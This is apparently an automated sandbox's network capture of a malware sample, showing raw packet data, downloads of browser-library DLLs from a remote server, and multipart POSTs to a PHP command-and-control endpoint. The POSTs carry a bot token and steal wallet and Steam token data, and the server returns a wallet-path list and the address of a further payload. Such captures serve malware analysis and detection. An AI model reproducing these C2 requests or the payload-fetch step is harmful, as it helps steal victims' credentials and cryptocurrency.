Nov 23, 2024 01:14:26.288522959 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 23, 2024 01:14:26.288563967 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 23, 2024 01:14:26.288672924 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 23, 2024 01:14:26.288681984 CET	148	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!
Nov 23, 2024 01:14:26.288714886 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 23, 2024 01:14:26.288724899 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 23, 2024 01:14:26.288795948 CET	1236	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 23, 2024 01:14:26.288806915 CET	1236	IN	Data Raw: 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 0f ef db 66 0f 60 f3 66 0f 61 f3 66 0f 6f f8 66 0f 72 f7 17 66 0f 6f 1d Data Ascii: Mfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`f
Nov 23, 2024 01:14:26.297077894 CET	1236	IN	Data Raw: 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec 89 Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
Nov 23, 2024 01:14:27.791323900 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 01:14:28.245681047 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 01:14:29.117522955 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 01:14:29.568741083 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 01:14:30.329987049 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 01:14:30.781397104 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 01:14:33.944839954 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 01:14:34.396621943 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 01:14:35.037419081 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 01:14:35.488360882 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 01:14:35.809250116 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 01:14:36.757699013 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:36.870862961 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 2d 2d 0d 0a Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="message"wallets------HDBGHIDGDGHCBGDGCBFI--
Nov 23, 2024 01:14:37.324177027 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 01:14:37.447803020 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="message"files------CGCFCBAKKFBFIECAEBAE--
Nov 23, 2024 01:14:37.900995970 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:37.960551977 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file"------JDHIEBFHCAKEHIDGHCBA--
Nov 23, 2024 01:14:38.911679983 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:38.951013088 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHJKJEBGHJJKEBGIECA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 2d 2d 0d 0a Data Ascii: ------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="message"ybncbhylepme------JEHJKJEBGHJJKEBGIECA--
Nov 23, 2024 01:14:39.408777952 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49886	185.215.113.16	80	6460	C:\Users\user\Desktop\file.exe

